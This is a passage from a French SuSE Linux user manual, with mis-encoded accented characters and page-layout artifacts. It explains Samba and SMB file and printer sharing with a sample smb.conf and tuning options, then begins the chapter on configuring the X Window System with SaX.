  15093. Samba est devenu un produit trΦs complexe et il ne nous est donc pas possible,
  15094. dans ce manuel, d'en faire une description dΘtaillΘe. Nous nous contenterons
  15095. de  vous  donner  un  aperτu  de  ses  fonctionnalitΘs.  Dans  le  rΘpertoire  /usr/
  15096. doc/packages/samba, vous trouverez de nombreux documents α l'aide des-
  15097. quels vous pourrez rΘaliser des configurations rΘseau complexes. Le fichier
  15098. de configuration de Samba est mentionnΘ dans la page de man de smb.conf
  15099. (man  smb.conf          )1 .
  15100.  
  15101. Samba  utilise  le  protocole  SMB  (Server  Message  Block)  de  Microsoft.  Il
  15102. convient  toutefois  de  noter  que  tous  les  clients  (par  exemple  les  machines
  15103. Windows 95 / 98 ou NT) doivent avoir un protocole TCP/IP activΘ. Samba
  15104. utilise le protocole SMB au-dessus du protocole TCP/IP. Sur toutes les ma-
  15105. chines Windows ayant une connexion Internet, TCP/IP est dΘjα installΘ.
  15106.  
  15107. Le protocole SMB (angl. Server Message Block) fournit des services de fi-
  15108. chiers  et  d'impression  dans  l'environnement  Windows  et  LAN  Manager .
  15109. Le  protocole  SMB  est  basΘ  sur  les  services  NetBIOS  et  peut  Ωtre  comparΘ
  15110. avec NFS pour le service fichiers. Sur ce point, SMB ne se diffΘrencie pas
  15111. d'autres protocoles tels que par exemple le NetWare Core Protocol. Micro-
  15112. soft,  contrairement  α  Novell,  a  mis  librement  α  disposition  la  spΘcification
  15113. du protocole SMB, ce qui permet aussi α d'autres plates-formes de supporter
  15114. SMB.
  15115.  
  15116. L'installation  et  la  configuration  de  Samba  ne  sont  pas  couvertes  par  l'As-
  15117. sistance  Technique  α  l'Installation  (voir  paragraphe  H.1.2  page  558).  Nous
  15118. sommes cependant volontiers disposΘs α vous venir en aide dans le cadre de
  15119. notre Service Pro facturΘ α part (voir paragraphe H.3 page 561).
  15120.  
  15121. 1      ____________________________________________________
  15122.   Voir [BD99   ], l'ouvrage sur Samba Θcrit par Olaf Borkner-Delcarlo et publiΘ par SuSE PRESS .
  15123.  
  15124.  
  15125.                                                                                                                                    *
  15126.  *   229
  15127. 7.  Sur un rythme de_Samba_:_:_:___________________________________________________________________________________________________*
  15128.  *_______________________________________@
  15129.  
  15130.  
  15131.  
  15132.                            NetBIOS
  15133.                            NetBIOS  est  une  interface  logicielle  (API)  conτue  pour  la  communication
  15134.  
  15135.                            entre ordinateurs. On dispose ici d'un service de noms (angl. name service)
  15136.                            qui permet aux machines connectΘes au rΘseau de se rΘserver des noms sous
  15137.                            lesquels elles seront ensuite accessibles. Il n'existe aucune instance centrale
  15138.                            qui pourrait attribuer ou vΘrifier les autorisations et chaque machine peut se
  15139.                            rΘserver les noms qui lui convient α condition que ceux-ci ne soient pas dΘjα
  15140.                            utilisΘs par une autre machine.
  15141.  
  15142.                            L'interface NetBIOS peut Ωtre implΘmentΘe sur diffΘrentes architectures rΘ-
  15143.                            seau. Il existe une implΘmentation relativement ``proche'' du matΘriel rΘseau
  15144.                            nommΘe NetBEUI  qui est trΦs souvent dΘsignΘe par le terme NetBIOS
  15145.  
  15146.                            Pour  l'adressage  des  diffΘrents  paquets,  NetBEUI   se  sert  de  l'adresse
  15147.                            matΘrielle  enregistrΘe  dans  chaque  adaptateur  rΘseau.  └  la  diffΘrence  des
  15148.                            adresses IPX  ou des adresses IP, celle-ci n'est pas structurΘe d'une maniΦre
  15149.                            qui  permette  d'obtenir  des  informations  pour  le  routage.  Il  n'est  donc  pas
  15150.                            possible  d'acheminer  des  paquets  NetBEUI  par  routeur  et  un  rΘseau  qui
  15151.                            fonctionne avec NetBEUI doit se limiter au secteur accessible au moyen de
  15152.                            rΘpΘteurs ou de ponts.
  15153.  
  15154.                            D'autre protocoles rΘseau avec lesquels NetBIOS a ΘtΘ implΘmentΘ sont IPX
  15155.                            de Novell  et TCP/IP. Les RFC 1001 et 1002 dΘcrivent NetBIOS sur TCP/IP.
  15156.                            Le  RFC  1001  contient  en  outre  une  bonne  introduction  aux  concepts  de
  15157.                            NetBIOS.        Cette  introduction  est  trΦs  utile  pour  mieux  comprendre  le  fonc-
  15158.                            tionnement de services tels que WINS 2
  15159.  
  15160.                            Les noms NetBIOS qui sont assignΘs au moyen de TCP/IP lorsque l'on im-
  15161.                            plΘmente NetBIOS n'ont rien α voir avec les noms contenus dans le fichier
  15162.                            /etc/hosts ni avec ceux assignΘs par le serveur de noms. NetBIOS est par
  15163.                            lui-mΩme un espace de noms complet. Il est toutefois conseillΘ, pour faciliter
  15164.                            l'administration, d'attribuer aux serveurs des noms NetBIOS qui concordent
  15165.                            avec ceux qui leur ont ΘtΘ assignΘs par le serveur de noms. Samba le fait par
  15166.                            dΘfaut.
  15167.  
  15168.  
  15169.                            Clients
  15170.  
  15171.                            └ part DOS et Windows 3.1, tous les systΦmes d'exploitation courants pour
  15172.                            PC supportent le protocole SMB pour l'importation et l'exportation d'espace
  15173.                            disque. Windows for Workgroups 3.11 supporte aussi SMB mais seulement
  15174.                            (dans son installation standard) par le biais de IPX et NetBEUI. Pour pouvoir
  15175.                            utiliser  Samba  qui  fournit  SMB  uniquement  via  TCP/IP,  il  est  nΘcessaire
  15176.                            d'installer des logiciels supplΘmentaires offerts gratuitement par Microsoft.
  15177.                            Pour DOS et Windows 3.1, il existe Θgalement des logiciels Microsoft gratuits
  15178.                            permettant d'utiliser Samba, Ces logiciels sont disponibles sous ftp://ftp.
  15179.                            microsoft.com/bussys/Clients
  15180.  
  15181.                            Les serveurs SMB fournissent α leurs clients de l'espace disque sous forme
  15182.                            de ``partages'' (angl. shares) . Un tel partage est un rΘpertoire rΘseau avec tous
  15183.                            ses sous-rΘpertoires sur le serveur. Il est exportΘ avec un nom sous lequel les
  15184.                            _____________________________________________2
  15185.                              WINS n'est rien d'autre qu'un serveur de noms NetBIOS Θtendu. Ce n'est absolument pas une
  15186.                            idΘe de Microsoft . Seul le nom est nouveau.
  15187.  
  15188.  
  15189. 230
  15190.        _________________________________________________________________________________________7.2.__Installation_du_serveur______*
  15191.  *______________________
  15192.  
  15193.  
  15194.  
  15195. clients  peuvent  y  avoir  accΦs.  Ce  nom  est  librement  assignΘ  et  il  n'est  pas
  15196. nΘcessaire qu'il concorde avec le nom du rΘpertoire exportΘ. Il est Θgalement
  15197. attribuΘ α une imprimante exportΘe un nom sous lequel les clients peuvent y
  15198. accΘder.
  15199.  
  15200.  
  15201. Droits d'accΦs
  15202.  
  15203. Un serveur NFS est configurΘ au moyen du fichier /etc/exports. Les res-
  15204. trictions d'accΦs sont uniquement possibles lorsqu'elles sont liΘes α une ma-
  15205. chine dΘterminΘe. Dans l'environnement pour lequel NFS a ΘtΘ conτu, α sa-
  15206. voir les stations de travail Unix, ceci est parfaitement logique car les systΦmes
  15207. clients vΘrifient eux-mΩmes l'authentification des utilisateurs. Mais sous DOS
  15208. et Windows qui confΦrent α chaque utilisateur de la station de travail des droits
  15209. root, le protocole NFS n'est plus α sa place. Les clients NFS souvent utilisΘs
  15210. pour DOS doivent Ωtre considΘrΘs comme d'Θnormes brΦches dans la sΘcuritΘ
  15211. du systΦme.
  15212.  
  15213. Le protocole SMB est issu de l'environnement DOS et tient compte directe-
  15214. ment des problΦmes de sΘcuritΘ. Tout accΦs α un partage peut Ωtre protΘgΘ par
  15215. un mot de passe. SMB offre pour cela trois possibilitΘs :
  15216.  
  15217.  
  15218.   ~   Niveau de sΘcuritΘ partages
  15219.  
  15220.       Un mot de passe est attribuΘ α un partage. Tous ceux qui connaissent ce
  15221.       mot de passe ont accΦs α ce partage.
  15222.  
  15223.   ~   Niveau de sΘcuritΘ utilisateur
  15224.  
  15225.       Cette  variante  introduit  le  concept  de  l'utilisateur  dans  SMB.  Chaque
  15226.       utilisateur doit se connecter α un serveur avec un mot de passe. Lorsque la
  15227.       connexion est rΘalisΘe, le serveur peut, en fonction du nom d'utilisateur,
  15228.       accorder l'accΦs aux diffΘrents partages exportΘs.
  15229.  
  15230.   ~   Niveau de sΘcuritΘ serveur
  15231.  
  15232.       Vis-α-vis des clients, Samba prΘtend travailler en mode ``niveau de sΘcu-
  15233.       ritΘ utilisateur''. Mais en fait il transmet tous les mots de passe α un autre
  15234.       serveur en mode ``niveau utilisateur'' qui se charge de l'authentification.
  15235.       Cette configuration requiert un paramΦtre supplΘmentaire (password ser-
  15236.       ver =).
  15237.  
  15238.  
  15239. La distinction entre les niveaux de sΘcuritΘ partages, utilisateur et serveur doit
  15240. Ωtre faite pour l'ensemble du serveur. Il n'est pas possible d'exporter certains
  15241. partages en mode ``niveau de sΘcuritΘ partages'' et d'autres en mode ``niveau
  15242. de sΘcuritΘ utilisateur''.
  15243.  
  15244. Pour obtenir un complΘment d'information α ce sujet, lisez le fichier /usr/
  15245. doc/packages/samba/textdocs/security_level.txt.
  15246.  
  15247.  
  15248.  
  15249. 7.2       Installation du serveur
  15250.  
  15251. En positionnant la variable <START`SMB> α yes    dans le fichier /etc/rc.
  15252. config, on dΘmarre les services SMB (voir paragraphe 3.6.12 page 114).
  15253.  
  15254. Pratiquement  tout  ce  qui  peut  Ωtre  configurΘ  dans  Samba  se  trouve  dans  le
  15255. fichier /etc/smb.conf. Ce fichier rappelle par sa structure les fichiers .INI
  15256.  
  15257.  
  15258.                                                                                                                                    *
  15259.  *   231
  15260. 7.  Sur un rythme de_Samba_:_:_:___________________________________________________________________________________________________*
  15261.  *_______________________________________@
  15262.  
  15263.  
  15264.  
  15265.                            de Windows. Il est subdivisΘ en plusieurs sections qui contiennent chacune
  15266.                            quelques paramΦtres. Chaque section dΘcrit un partage dont le nom est dΘ-
  15267.                            terminΘ par le nom de la section. Il existe en plus quatre sections spΘciales :
  15268.                            [globals]        , [pub]     , [cdrom]       et [printers]         . La section [globals]         dΘfinit
  15269.                            les paramΦtres de Samba qui ne sont pas spΘcifiques α un partage dΘterminΘ.
  15270.                            Lorsque la section [pub]      est crΘΘe, chaque client peut accΘder sans mot de
  15271.                            passe et avec les droit de l'utilisateur ``nobody'' au partage [pub]     . Ceci s'ap-
  15272.                            plique  aussi  α  la  section  [printers]          qui  met  α  la  disposition  des  clients
  15273.                            toutes les imprimantes dΘfinies dans /etc/printcap sans qu'il soit nΘces-
  15274.                            saire de les spΘcifier individuellement.
  15275.  
  15276.  
  15277.  
  15278.                            smb.conf
  15279.  
  15280.                            Le fichier 7.2.1 page ci-contre vous montre un exemple de fichier trΦs simple.
  15281.  
  15282.                            Ce  fichier  /etc/smb.conf  met  α  la  disposition  des  clients  le  rΘpertoire
  15283.                            /home/pub et toutes les imprimantes qui sont listΘes dans le fichier /etc/
  15284.                            printcap.
  15285.  
  15286.  
  15287.                              ~   workgroup  =  workgroup
  15288.  
  15289.                                  Comme  toute  machine  Windows,  tout  serveur  Samba  est  associΘ  α  un
  15290.                                  groupe de travail sous lequel il apparaεt dans ``l'environnement rΘseau''.
  15291.                                  Workgroup         est la configuration par dΘfaut de la version anglaise de Win-
  15292.                                  dows for Workgroups.
  15293.  
  15294.                              ~   guest  account  =  nobody
  15295.  
  15296.                                  Samba requiert un utilisateur enregistrΘ dans le fichier /etc/password
  15297.                                  qui n'ait aucun droit dans le systΦme de fichiers ou seulement des droits
  15298.                                  limitΘs α l'exΘcution de certaines tΓches. Lorsque des partages accessibles
  15299.                                  α tous sont dΘfinis (paramΦtre public  =  yes         ), toutes les opΘrations sont
  15300.                                  effectuΘes  avec  cet  identification  d'utilisateur.  MΩme  lorsqu'un  tel  par-
  15301.                                  tage accessible α tous n'a pas ΘtΘ dΘterminΘ, le guest  account            doit Ωtre
  15302.                                  dΘfini,  sinon  la  machine  Samba  n'apparaεtra  pas  dans  l'environnement
  15303.                                  rΘseau.
  15304.  
  15305.                              ~   keep  alive  =  30
  15306.  
  15307.                                  Les machines Windows ont une fΓcheuse tendance α se planter de temps
  15308.                                  en temps. Si par suite d'un plantage elles laissent une connexion ouverte,
  15309.                                  il peut arriver que le serveur ne s'en aperτoive que beaucoup plus tard.
  15310.                                  Afin que Samba ne gaspille pas inutilement des ressources sur le serveur,
  15311.                                  on peut l'inciter, avec le paramΦtre keep  alive  =  30           , α faire un contr⌠le
  15312.                                  toutes les 30 secondes pour savoir si le client est encore en vie.
  15313.  
  15314.                              ~   os  level  =  2
  15315.  
  15316.                                  Le  paramΦtre  os  level  =  2         spΘcifie  que  Samba  fait  office  de  serveur
  15317.                                  de  noms  pour  WfW  et  Windows  95.  Si  une  machine  Windows  NT  est
  15318.                                  prΘsente dans le rΘseau, Samba n'offrira pas ce service mais utilisera lui-
  15319.                                  mΩme la machine NT.
  15320.  
  15321.                              ~   security  =  share
  15322.                                  Voyez α ce sujet le paragraphe concernant les droits d'accΦs.
  15323.  
  15324.  
  15325. 232
  15326. _________________________________________________________________________________________7.2.__Installation_du_serveur_____________*
  15327.  *_______________
  15328.  
  15329.  
  15330.  
  15331.  
  15332. ||||||||                                                                                                                |
  15333. ||||||||                                                                                                                |
  15334. ||||||||                                                                                                                |
  15335. ||||||||                                                                                                                |
  15336. _______________________________________________________________________________________________________________________||
  15337. |||||||| [global]                                                                                                       |
  15338. ||||||||                                                                                                                |
  15339. ||||||||      workgroup  =  workgroup                                                                                   |
  15340. ||||||||      guest  account  =  nobody                                                                                 |
  15341. ||||||||                                                                                                                |
  15342. ||||||||      keep  alive  =  30                                                                                        |
  15343. ||||||||      os  level  =  2                                                                                           |
  15344. ||||||||                                                                                                                |
  15345. ||||||||      security  =  share                                                                                        |
  15346. ||||||||      printing  =  bsd                                                                                          |
  15347. ||||||||      printcap  name  =  /etc/printcap                                                                          |
  15348. ||||||||                                                                                                                |
  15349. ||||||||      load  printers  =  yes                                                                                    |
  15350. ||||||||                                                                                                                |
  15351. ||||||||                                                                                                                |
  15352. |||||||| [pub]                                                                                                          |
  15353. ||||||||      path  =  /home/pub                                                                                        |
  15354. ||||||||                                                                                                                |
  15355. ||||||||      comment  =  RΘpertoire  public                                                                            |
  15356. ||||||||      read  only  =  no                                                                                         |
  15357. ||||||||                                                                                                                |
  15358. ||||||||      browseable  =  yes                                                                                        |
  15359. ||||||||      public  =  yes                                                                                            |
  15360. ||||||||                                                                                                                |
  15361. ||||||||      create  mode  =  0750                                                                                     |
  15362. ||||||||                                                                                                                |
  15363. |||||||| [cdrom]                                                                                                        |
  15364. ||||||||                                                                                                                |
  15365. ||||||||      path  =  /cdrom                                                                                           |
  15366. ||||||||      comment  =  cdrom                                                                                         |
  15367. ||||||||                                                                                                                |
  15368. ||||||||      volume  =  "le_label_du_CD_ROM"                                                                           |
  15369. ||||||||      read  only  =  yes                                                                                        |
  15370. ||||||||                                                                                                                |
  15371. ||||||||      available  =  yes                                                                                         |
  15372. ||||||||      share  modes  =  no                                                                                       |
  15373. ||||||||                                                                                                                |
  15374. ||||||||      browseable  =  yes                                                                                        |
  15375. ||||||||      public  =  yes                                                                                            |
  15376. ||||||||                                                                                                                |
  15377. ||||||||                                                                                                                |
  15378. |||||||| [printers]                                                                                                     |
  15379. ||||||||      comment  =  All  Printers                                                                                 |
  15380. ||||||||                                                                                                                |
  15381. ||||||||      browseable  =  no                                                                                         |
  15382. ||||||||      printable  =  yes                                                                                         |
  15383. ||||||||                                                                                                                |
  15384. ||||||||      public  =  no                                                                                             |
  15385. ||||||||      read  only  =  yes                                                                                        |
  15386. ||||||||                                                                                                                |
  15387. ||||||||      create  mode  =  0700                                                                                     |
  15388. ||||||||      directory  =  /tmp                                                                                        |
  15389. ||||||||_______________________________________________________________________________________________________________ |
  15390.  
  15391.              fichier 7.2.1: Exemple de fichier /etc/smb.conf
  15392.  
  15393.  
  15394.                                                                                                                                233
  15395. 7.  Sur un rythme de_Samba_:_:_:___________________________________________________________________________________________________*
  15396.  *_______________________________________@
  15397.  
  15398.  
  15399.  
  15400.                            La  section  [pub]     fixe  des  paramΦtres  pour  le  rΘpertoire  α  exporter.  Ce  rΘ-
  15401.                            pertoire est accessible sans mot de passe α tous les utilisateurs du rΘseau car
  15402.                            public  =  yes         . Il en est de mΩme pour le /cdrom exportΘ.
  15403.  
  15404.                              ~   path  =  /home/pub
  15405.  
  15406.                                  Avec path    , le rΘpertoire /home/pub est exportΘ.
  15407.  
  15408.                              ~   comment  =  RΘpertoire  public
  15409.  
  15410.                                  Avec les serveurs SMB, chaque partage peut Ωtre accompagnΘ d'un com-
  15411.                                  mentaire qui le dΘfinit de faτon plus prΘcise.
  15412.  
  15413.                              ~   browsable  =  yes
  15414.  
  15415.                                  Ce paramΦtre permet au partage pub    d'Ωtre visible dans l'environnement
  15416.                                  rΘseau.
  15417.  
  15418.                              ~   read  only  =  no
  15419.  
  15420.                                  Samba  interdit  par  dΘfaut  l'accΦs  en  Θcriture  au  partages  exportΘs.
  15421.                                  Mais   ceci   doit   Ωtre   autorisΘ   dans   cette   configuration.   Pour   cela   :
  15422.                                  read  only  =  no         .
  15423.  
  15424.                              ~   create  mode  =  750
  15425.  
  15426.                                  Les machines Windows ne connaissent pas le concept des droits d'accΦs
  15427.                                  Unix. Elles ne peuvent donc pas spΘcifier avec quelles permissions les fi-
  15428.                                  chiers doivent Ωtre crΘΘs.
  15429.                                  Le  paramΦtre  create  mode          dΘtermine  avec  quels  droits  d'accΦs  les  fi-
  15430.                                  chiers doivent Ωtre crΘΘs.
  15431.  
  15432.                              ~   public  =  yes
  15433.  
  15434.                                  L'accΦs α ce partage en tant qu'``invitΘ'' (angl. guest) est autorisΘ. Il n'est
  15435.                                  pas  demandΘ  de  mot  de  passe !  L'utilisateur  apparaεt  comme  utilisateur
  15436.                                  nobody.
  15437.                            ________________________________________________________________________________________________________*
  15438.  *________||
  15439.  
  15440.                            |  Pour faciliter l'administration du serveur Samba, il existe encore le pro-                           *
  15441.  *        ||||
  15442.                            |  gramme  swat .  Il  fournit  une  interface  Web  simple  qui  vous  permet  de                      *
  15443.  *        |||
  15444.                            |                                                                                                       *
  15445.  *        |||
  15446.                            |  configurer  aisΘment  le  serveur  Samba.  Vous  trouverez  des  informations                        *
  15447.  *        |||
  15448.                            |  au sujet de ce programme sous /usr/doc/packages/samba/htmldocs/                                      *
  15449.  *        |||
  15450.                            |                                                                                                       *
  15451.  *        |||
  15452.                            |  swat.8.html ou dans la page de man de swat     (man  swat       ).                                   *
  15453.  *        |||
  15454.                            |_______________________________________________________________________________________________________*
  15455.  *________|||_
  15456.  
  15457.  
  15458.                            7.3       Installation des clients
  15459.  
  15460.                            Il convient de mentionner que les clients n'ont accΦs au serveur Samba que
  15461.                            par TCP/IP. Pour le moment, NeBEUI ou NetBIOS via IPX ne peuvent pas
  15462.                            Ωtre utilisΘs avec Samba. ╔tant donnΘ que TCP/IP jouit d'une popularitΘ de
  15463.                            plus en plus grande, mΩme pour Novell et Microsoft, il est assez peu probable
  15464.                            qu'un changement se produise.
  15465.  
  15466.  
  15467.                            Windows 95/98
  15468.  
  15469.                            Windows 95/98 a un support intΘgrΘ pour TCP/IP. De mΩme qu'avec Win-
  15470.                            dows  for  Workgroups,  ce  support  n'est  pas  installΘ  par  dΘfaut.  Pour  ajou-
  15471.                            ter TCP/IP, on sΘlectionne dans l'applet rΘseau de la commande de systΦme
  15472.                            `Ajouter  : : : ' sous `Protocoles' TCP/IP de Microsoft. Veillez α ce que
  15473.  
  15474.  
  15475. 234
  15476.        ________________________________________________________________________________________________________7.4.__Optimisation__*
  15477.  *______________________
  15478.  
  15479.  
  15480.  
  15481. votre  adresse  rΘseau  et  votre  masque  rΘseau  soient  correctement  spΘcifiΘs
  15482. (voir paragraphe 25 page 153) ! AprΦs un nouveau dΘmarrage de la machine
  15483. Windows, vous pourrez retrouver le serveur Samba bien configurΘ sous `RΘ-
  15484. seau' (double clic sur l'ic⌠ne rΘseau de votre bureau).
  15485.        _______________________________________________________________________________________________________________________||
  15486.        ||||||||  Pour la mise en service d'une imprimante sur le serveur Samba, vous de-                        |||            |
  15487.        ||||||||                                                                                                 ||             |
  15488.        ||||||||  vriez  installer  le  pilote  gΘnΘral  d'imprimante  ou  le  pilote  d'imprimante              ||             |
  15489.        ||||||||  PostScript Apple de la version Windows utilisΘe. Le mieux est d'utiliser la                    ||             |
  15490.        ||||||||                                                                                                 ||             |
  15491.        ||||||||  file d'impression Linux qui prΘvoit la reconnaissance automatique d'Aps-                       ||             |
  15492.        ||||||||  filter.                                                                                        ||             |
  15493.        ||||||||_______________________________________________________________________________________________________________||_
  15494.  
  15495.  
  15496. 7.4       Optimisation
  15497.  
  15498. Nous attirons encore une fois votre attention sur le fait que la configuration
  15499. qui vous est ici prΘsentΘe a ΘtΘ conτue pour des utilisateurs privΘs. Elle n'est
  15500. pas  adΘquate  pour  un  usage  professionnel.  Notre  Service  Pro  vous  aidera
  15501. volontiers α rΘsoudre les problΦmes que vous pourriez avoir α ce sujet (voir
  15502. paragraphe H.3 page 561).
  15503.  
  15504. La configuration par dΘfaut qui vous est proposΘe dans le fichier /etc/smb.
  15505. conf est trΦs lente. Voici quelques suggestions pour l'optimiser.
  15506.  
  15507.   ~   socket  options  =  TCP_NODELAY
  15508.  
  15509.       Le protocole TCP/IP essaie toujours de rassembler plusieurs petits blocs
  15510.       de donnΘes. Comme Samba utilise un grand nombre de ces petits blocs
  15511.       de donnΘes, il est recommandΘ dans la pratique de dΘsactiver ce compor-
  15512.       tement avec l'option socket  options  =  TCP_NODELAY
  15513.  
  15514.   ~   oplocks  =  yes
  15515.  
  15516.       Avec cette option, les accΦs en Θcriture α des fichiers modifiΘs ne seront
  15517.       effectifs que lorsqu'un autre client voudra lire le mΩme fichier. Cette op-
  15518.       tion agit donc comme un cache d'Θcriture.
  15519.  
  15520.   ~   write  raw  =  yes
  15521.  
  15522.       Raw  write  permet  d'envoyer  65535  octets  dans  chaque  datagramme  et
  15523.       peut  Θventuellement  procurer  un  net  accroissement  de  la  performance.
  15524.       Avec certaines cartes rΘseau bon marchΘ, il peut cependant Ωtre prΘfΘrable
  15525.       de positionner cette option α write  raw  =  no          .
  15526.  
  15527.   ~   read  raw  =  yes
  15528.  
  15529.       Agit comme write  raw  =  yes            mais concerne la lecture des donnΘes.
  15530.        _______________________________________________________________________________________________________________________||
  15531.        ||||||||  Vous    trouverez    dans    les    fichiers    /usr/doc/packages/samba/                       |||            |
  15532.        ||||||||                                                                                                 ||             |
  15533.        ||||||||  textdocs/Speed.txt    et    /usr/doc/packages/samba/textdocs/                                  ||             |
  15534.        ||||||||  Speed2.txt un complΘment d'information et de nombreux tuyaux pour                              ||             |
  15535.        ||||||||                                                                                                 ||             |
  15536.        ||||||||  mener α bien l'optimisation                                                                    ||             |
  15537.        ||||||||_______________________________________________________________________________________________________________||_
  15538.  
  15539.  
  15540.                                                                                                                                    *
  15541.  *   235
  15542. 7.  Sur un rythme de_Samba_:_:_:___________________________________________________________________________________________________*
  15543.  *_______________________________________@
  15544.  
  15545. 236
  15546.  
  15547.                QuatriΦme  partie
  15548.  
  15549.  
  15550. Le   systΦme   X   Window
  15551.  
  15552.  
  15553.                                                                                                                          237
  15554.  
  15555.  
  15556.                                                                                                            Chapitre  8
  15557.                                                      Le   systΦme   X   Window
  15558.  
  15559.  
  15560. Le systΦme X Window  est pratiquement devenu un standard d'interface gra-
  15561. phique  pour  les  systΦmes  Unix.  Et  mΩme  bien  plus  encore  car  X11  est  un
  15562. systΦme basΘ sur rΘseau. Les applications qui tournent sur la machine terre
  15563. peuvent afficher leurs sorties sur la machine soleil si les deux ordinateurs
  15564. sont connectΘs α travers un rΘseau. Ce rΘseau peut Ωtre un LAN, mais les ma-
  15565. chines peuvent aussi se trouver α des milliers de kilomΦtres l'une de l'autre et
  15566. communiquer par Internet.
  15567.  
  15568. X11  est le rΘsultat de la collaboration de la DEC  (Digital Equipment Corpo-
  15569. ration ) et du projet Athena du MIT  (Massachusetts Institute of Technology ).
  15570. La  premiΦre  version  (X11R1 )  est  parue  en  septembre  1987.  └  partir  de  la
  15571. version X11R6 , le dΘveloppement du systΦme X Window a ΘtΘ pris en charge
  15572. par le X Consortium, Inc. ~ devenu en 1996 The Open Group .
  15573.  
  15574. XFree86 TM   est une implΘmentation librement disponible de serveurs X pour
  15575. systΦmes  Unix  fonctionnant  sur  PC  (voir  http://www.XFree86.org) ;  la
  15576. version 3.3.6 est aujourd'hui la version courante. XFree86 TM   a ΘtΘ et continu
  15577. a Ωtre dΘveloppΘ par des programmeurs ~ dispersΘs dans le monde entier ~ qui
  15578. depuis 1992 constituent l'Θquipe XFree86. Ceci a donnΘ naissance en 1994
  15579. α The XFree86 Project, Inc.  qui a pour objectif de mettre XFree86 TM    α la
  15580. disposition d'un large public et de contribuer, par des travaux de recherche et
  15581. de dΘveloppement, α l'avenir du systΦme X Window.
  15582.  
  15583. Nous remercions ici l'Θquipe XFree86 pour sa bonne coopΘration et pour la
  15584. mise α disposition de versions bΩta sans lesquelles ce document1  ainsi que le
  15585. CD n'existeraient s√rement pas sous leur forme actuelle.
  15586.  
  15587. Les paragraphes suivants traitent de la configuration du serveur X qui Θtait
  15588. autrefois une question extrΩmement dΘlicate. Nous parlerons des programmes
  15589. SaX  (sax   )2  et xf86config qui permettent une configuration aisΘe du systΦme
  15590. X Window. Contrairement α xf86config, SaX   travaille en collaboration di-
  15591. recte  avec  le  serveur  X  et  peut  Ωtre  pilotΘ  α  l'aide  de  la  souris.  Il  est  donc
  15592. conseillΘ d'installer avec YaST  le programme SaX  (paquetage sax, sΘrie x)
  15593. et les paquetages dΘpendants, en particulier  le paquetage xvga16 ainsi que ~
  15594. si vous le connaissez dΘjα ~  le serveur X qui convient α votre carte graphique ;
  15595. les serveurs X se trouvent dans la sΘrie xsrv (voir paragraphe 3.4.3 page 95).
  15596. 1      ____________________________________________________
  15597.    Certaines parties de cette description sont empruntΘes au chapitre Configurer XFree86  de
  15598. [HHMK96      ], mis aimablement α notre disposition par Dirk Hohndel.
  15599. 2     SaX     (angl.    SuSE    Advanced    X    Configuration    Tool)    rend    XF86Setup
  15600. (paquetage xfsetup, sΘrie x)       obsolΦte.
  15601.  
  15602.  
  15603.                                                                                                                                    *
  15604.  *   239
  15605. 8.  Le systΦme X Window____________________________________________________________________________________________________________*
  15606.  *_______________________________________@
  15607.  
  15608.  
  15609.  
  15610.                            Au cas o∙ vous auriez omis de sΘlectionner un serveur, SaX  le constatera et
  15611.                            fera installer un serveur adΘquat par l'intermΘdiaire de YaST .
  15612.  
  15613.                            Pour tirer le maximum de profit du matΘriel dont vous disposez (carte gra-
  15614.                            phique, moniteur, clavier), vous avez la possibilitΘ d'optimiser manuellement
  15615.                            votre configuration. Nous parlerons de certains aspects de cette optimisation,
  15616.                            d'autres  aspects  ne  seront  pas  particuliΦrement  traitΘs.  Vous  trouverez  des
  15617.                            informations dΘtaillΘes sur la configuration du systΦme X Window dans diffΘ-
  15618.                            rents fichiers du rΘpertoire /usr/doc/packages/xf86 et bien s√r aussi dans
  15619.                            la page de man de XF86Config          (man  XF86Config            ).
  15620.                            ________________________________________________________________________________________________________*
  15621.  *________|||||
  15622.                            |  Lors  de  la  configuration  du  systΦme  X  Window,  il  convient  de  procΘder                     *
  15623.  *        ||||
  15624.                            |  avec  un  maximum  de  prudence !  X  ne  devrait  en  aucun  cas  Ωtre  lancΘ                       *
  15625.  *        |||
  15626.                            |                                                                                                       *
  15627.  *        |||
  15628.                            |  avant  que  la  configuration  ne  soit  terminΘe.  Un  systΦme  mal  configurΘ                      *
  15629.  *        |||
  15630.                            |                                                                                                       *
  15631.  *        |||
  15632.                            |  peut  causer  des  dommages  irrΘversibles  α  votre  matΘriel ;  les  moniteurs                     *
  15633.  *        |||
  15634.                            |  α frΘquence fixe risquent tout particuliΦrement d'Ωtre dΘtΘriorΘs.                                   *
  15635.  *        |||
  15636.                            |                                                                                                       *
  15637.  *        |||
  15638.                            |  Les auteurs de ce manuel et la SuSE     GmbH dΘclinent toute responsabilitΘ                          *
  15639.  *        |||
  15640.                            |  pour des dommages qui pourraient Θventuellement se produire. Le prΘsent                              *
  15641.  *        |||
  15642.                            |                                                                                                       *
  15643.  *        |||
  15644.                            |  texte a ΘtΘ ΘlaborΘ avec le plus grand soin. Il n'est toutefois pas possible                         *
  15645.  *        |||
  15646.                            |  de garantir que les mΘthodes prΘsentΘes ici soient correctes et ne causent                           *
  15647.  *        |||
  15648.                            |                                                                                                       *
  15649.  *        |||
  15650.                            |  aucun dommage α votre matΘriel.                                                                      *
  15651.  *        |||
  15652.                            |_______________________________________________________________________________________________________*
  15653.  *________|||_
  15654.  
  15655.  
  15656.                            8.1       Configuration avec SaX
  15657.  
  15658.                            Le  pogramme  SaX  (angl.  SuSE  Advanced  X  Configuration  Tool)  simplifie
  15659.                            l'installation du systΦme X Window. Il se pilote entiΦrement au moyen de la
  15660.                            souris ou du clavier sur l'interface graphique. └ l'exception de quelques cas
  15661.                            particuliers, par exemple matΘriel trΦs rΘcent ou trΦs ancien, il peut reconnaεtre
  15662.                            lui-mΩme les diffΘrents composants ce qui facilite considΘrablement la mise
  15663.                            en place d'un serveur X.
  15664.  
  15665.  
  15666.                            8.1.1      PremiΦre installation
  15667.  
  15668.                            Pour une premiΦre installation du systΦme X Window ~ l'interface graphique
  15669.                            de tout systΦme Linux ~ certaines informations concernant le matΘriel doivent
  15670.                            Ωtre connues :
  15671.  
  15672.                              ~   moniteur utilisΘ (nom du produit).
  15673.  
  15674.                              ~   type du clavier.
  15675.  
  15676.                              ~   type de la souris et de l'interface qu'elle utilise.
  15677.  
  15678.                              ~   constructeur et nom de la carte graphique.
  15679.                            ________________________________________________________________________________________________________*
  15680.  *________||
  15681.                            |  Vous devez lancer le programme SaX (sax   ) en tant qu'utilisateur `root'.                           *
  15682.  *        ||||
  15683.                            |                                                                                                       *
  15684.  *        |||
  15685.                            |  Vous pouvez aussi lancer SaX  α partir de YaST  : `Administration  du                                *
